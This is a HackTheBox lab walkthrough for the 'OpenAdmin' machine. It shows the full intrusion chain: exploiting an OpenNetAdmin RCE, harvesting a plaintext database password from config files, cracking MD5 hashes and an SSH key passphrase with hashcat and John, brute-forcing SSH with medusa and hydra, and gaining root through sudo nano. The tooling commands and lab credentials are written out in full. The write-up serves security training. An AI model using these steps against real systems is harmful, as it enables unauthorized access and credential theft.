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HackTheBox - OpenAdmin

Posted Jan 1, 2021 2021-01-01T23:21:04+01:00 by amirr0r
Updated Jan 4, 2021 2021-01-04T21:38:22+01:00

Foothold

nmap scan

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$ nmap -min-rate 5000 --max-retries 1 -sV -sC -p- -oN OpenAdmin-full-port-scan.txt 10.10.10.171
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
|   256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_  256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Apache/2.4.29

apache

dirb

/artwork

artwork

/music

music

The Login button at the top right of the page redirects to http://10.10.10.171/ona/

/ona

ona

This version of OpenNetAdmin seems vulnerable to a RCE (Remote Code Execution).

searchsploit

Reverse shell (www-data)

I used this exploit and I got a shell:

ona RCE

First I thought we are in a restricted shell. Then I inspect how our payload was sent.

payload

So I figured out that we didn’t really have a shell.

The python script was just sending bash commands one after the other though HTTP requests.

Thereby, I redirected the shell to my machine:

reverse-shell

We identified two users:

  • jimmy
  • joanna

permission-denied

Both of these users are part of the internal’s group.

internal group

Moreover, linpeas.sh showed us something that might lead us to privesc into root:

linpeas

So we have to find a way to access to joanna’s account.

I started my enumeration by looking for files/directories owned either by joanna or jimmy or the internal group.

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$ find / -user joanna 2>/dev/null
/home/joanna
$ find / -user jimmy 2>/dev/null
/var/www/internal
/home/jimmy
$ find / -group internal 2>/dev/null
/var/www/internal
$ ls -la /var/www/internal
ls: cannot open directory '/var/www/internal': Permission denied

MySQL

Looking at active ports via netstat -tulpn, it seems there is mysql running on port 3306:

active ports

Indeed:

mysql

I decided to return to /opt/ona/www/ and look for some credentials.

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$ grep -ri "passw" *
# ...
local/config/database_settings.inc.php:        'db_passwd' => 'n1nj4W4rri0R!',
# ...

database_settings

MySQL credentials found:

  • username: ona_sys
  • password: n1nj4W4rri0R!

mysql -u ona_sys --password

mysql-logged-in

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mysql> show databases;
+--------------------+ 
| Database           | 
+--------------------+ 
| information_schema | 
| ona_default        | 
+--------------------+ 
2 rows in set (0.00 sec)

mysql> use ona_default;

Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

mysql> show tables;
+------------------------+
| Tables_in_ona_default  |
+------------------------+
| blocks                 |
| configuration_types    |
| configurations         |
| custom_attribute_types |
| custom_attributes      |
| dcm_module_list        |
| device_types           |
| devices                |
| dhcp_failover_groups   |
| dhcp_option_entries    |
| dhcp_options           |
| dhcp_pools             |
| dhcp_server_subnets    |
| dns                    |
| dns_server_domains     |
| dns_views              |
| domains                |
| group_assignments      |
| groups                 |
| host_roles             |
| hosts                  |
| interface_clusters     |
| interfaces             |
| locations              |
| manufacturers          |
| messages               |
| models                 |
| ona_logs               |
| permission_assignments |
| permissions            |
| roles                  |
| sequences              |
| sessions               |
| subnet_types           |
| subnets                |
| sys_config             |
| tags                   |
| users                  |
| vlan_campuses          |
| vlans                  |
+------------------------+
40 rows in set (0.00 sec)

mysql> SELECT * from users;
+----+----------+----------------------------------+-------+---------------------+---------------------+
| id | username | password                         | level | ctime               | atime               |
+----+----------+----------------------------------+-------+---------------------+---------------------+
|  1 | guest    | 098f6bcd4621d373cade4e832627b4f6 |     0 | 2021-01-01 19:35:54 | 2021-01-01 19:35:54 |
|  2 | admin    | 21232f297a57a5a743894a0e4a801fc3 |     0 | 2007-10-30 03:00:17 | 2007-12-02 22:10:26 |
+----+----------+----------------------------------+-------+---------------------+---------------------+
2 rows in set (0.00 sec)

mysql>

A hash of 32 characters is probably a MD5 hash:

32chars-hash

Cracking passwords with hashcat

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$ echo "098f6bcd4621d373cade4e832627b4f6" > hashes
$ echo "21232f297a57a5a743894a0e4a801fc3" >> hashes
$ hashcat hashes -m 0 /usr/share/wordlists/rockyou.txt
#...

-m 0 tells hashcat which mode to use. 0 is MD5.

hashcat

These credentials are for http://10.10.10.171/ona/

User (jimmy)

The password we found in /opt/ona/www/local/config/database_settings.inc.php (n1nj4W4rri0R!) worked to log in as jimmy with SSH.

Bruteforcing SSH

medusa

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$ cat users.txt 
jimmy
joanna
$ cat pass.txt 
n1nj4W4rri0R!
test
admin
$ medusa -h $TARGET -U users.txt -P pass.txt -M ssh 
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

ACCOUNT CHECK: [ssh] Host: 10.10.10.171 (1 of 1, 0 complete) User: jimmy (1 of 2, 0 complete) Password: n1nj4W4rri0R! (1 of 3 complete)
ACCOUNT FOUND: [ssh] Host: 10.10.10.171 User: jimmy Password: n1nj4W4rri0R! [SUCCESS]
ACCOUNT CHECK: [ssh] Host: 10.10.10.171 (1 of 1, 0 complete) User: joanna (2 of 2, 1 complete) Password: n1nj4W4rri0R! (1 of 3 complete)
ACCOUNT CHECK: [ssh] Host: 10.10.10.171 (1 of 1, 0 complete) User: joanna (2 of 2, 1 complete) Password: test (2 of 3 complete)
ACCOUNT CHECK: [ssh] Host: 10.10.10.171 (1 of 1, 0 complete) User: joanna (2 of 2, 1 complete) Password: admin (3 of 3 complete)

hydra

We could done that with hydra too:

hydra -L users.txt -P pass.txt $TARGET ssh

hydra

ssh jimmy

/var/www/internal

Let’s go back to /var/www/internal (the folder that we did not have access to before):

internnal sources

  • index.php:
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<?php
   ob_start();
   session_start();
?>

<?
   // error_reporting(E_ALL);
   // ini_set("display_errors", 1);
?>

<html lang = "en">

   <head>
      <title>Tutorialspoint.com</title>
      <link href = "css/bootstrap.min.css" rel = "stylesheet">

      <style>
         body {
            padding-top: 40px;
            padding-bottom: 40px;
            background-color: #ADABAB;
         }

         .form-signin {
            max-width: 330px;
            padding: 15px;
            margin: 0 auto;
            color: #017572;
         }

         .form-signin .form-signin-heading,
         .form-signin .checkbox {
            margin-bottom: 10px;
         }

         .form-signin .checkbox {
            font-weight: normal;
         }

        .form-signin .form-control {
            position: relative;
            height: auto;
            -webkit-box-sizing: border-box;
            -moz-box-sizing: border-box;
            box-sizing: border-box;
            padding: 10px;
            font-size: 16px;
         }

         .form-signin .form-control:focus {
            z-index: 2;
         }

         .form-signin input[type="email"] {
            margin-bottom: -1px;
            border-bottom-right-radius: 0;
            border-bottom-left-radius: 0;
            border-color:#017572;
         }

         .form-signin input[type="password"] {
            margin-bottom: 10px;
            border-top-left-radius: 0;
            border-top-right-radius: 0;
            border-color:#017572;
         }

         h2{
            text-align: center;
            color: #017572;
         }
      </style>

   </head>
   <body>

      <h2>Enter Username and Password</h2>
      <div class = "container form-signin">
        <h2 class="featurette-heading">Login Restricted.<span class="text-muted"></span></h2>
          <?php
            $msg = '';

            if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
              if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
                  $_SESSION['username'] = 'jimmy';
                  header("Location: /main.php");
              } else {
                  $msg = 'Wrong username or password.';
              }
            }
         ?>
      </div> <!-- /container -->

      <div class = "container">

         <form class = "form-signin" role = "form"
            action = "<?php echo htmlspecialchars($_SERVER['PHP_SELF']);
            ?>" method = "post">
            <h4 class = "form-signin-heading"><?php echo $msg; ?></h4>
            <input type = "text" class = "form-control"
               name = "username"
               required autofocus></br>
            <input type = "password" class = "form-control"
               name = "password" required>
            <button class = "btn btn-lg btn-primary btn-block" type = "submit"
               name = "login">Login</button>
         </form>

      </div>

   </body>
</html>
  • main.php:
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<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); }; 
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
?>
<html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>

These files are probably the ones that are running on port 52846 as we identified via netstat -tulpn and with linpeas.sh.

Indeed, if we curl http://127.0.0.1:52846:

curl

SSH port forwarding

At this point, we could use SSH port forwarding:

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$ ssh -L 52846:localhost:52846 jimmy@$TARGET

It worked:

ssh-port-forwarding

We can try determine what is the password that corresponds to the SHA512 hash 00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1, or we can directly edit the sources since we have write privileges on /var/www/internal:

edited sources

Voilà:

rsa

User (joanna)

Joanna’s private key is encrypted:

encrypted rsa key

While we don’t know the password of this private key we cannot log in as joanna.

ssh2john

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$ /usr/share/john/ssh2john.py joanna_rsa > joanna_rsa.john
$ john joanna_rsa.john --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 12 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
bloodninjas      (joanna_rsa)
1g 0:00:00:01 DONE (2021-01-01 22:27) 0.5586g/s 8012Kp/s 8012Kc/s 8012KC/s  0125457423 ..*7¡Vamos!
Session completed

bloodninjas is joanna_rsa’s password. We can now log in as joanna.

ssh joanna

  • joanna’s flag:
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joanna@openadmin:~$ cat user.txt 
c9b2cf07d40807e62af62660f0c81b5f

Root

Now this is pretty straightforward since we saw earlier that joanna can run nano with sudo (thanks to linpeas).

sudo -l

We just have to check GTFOBins - nano to find a way to privesc.

GTFOBins - sudo nano

And we got root’s flag (2f907ed450b361b2c2bf4e8795d5b561):

root flag ___

Hackthebox walkthroughs, Linux, Easy
htb-linux-easy OpenNetAdmin RCE reverse-shell linpeas plain text password MySQL password cracking hashcat brute-force medusa hydra ssh port forwarding ssh2john John The Ripper sudo misconfiguration GTFOBins nano writeup oscp-prep
This post is licensed under CC BY 4.0 by the author.

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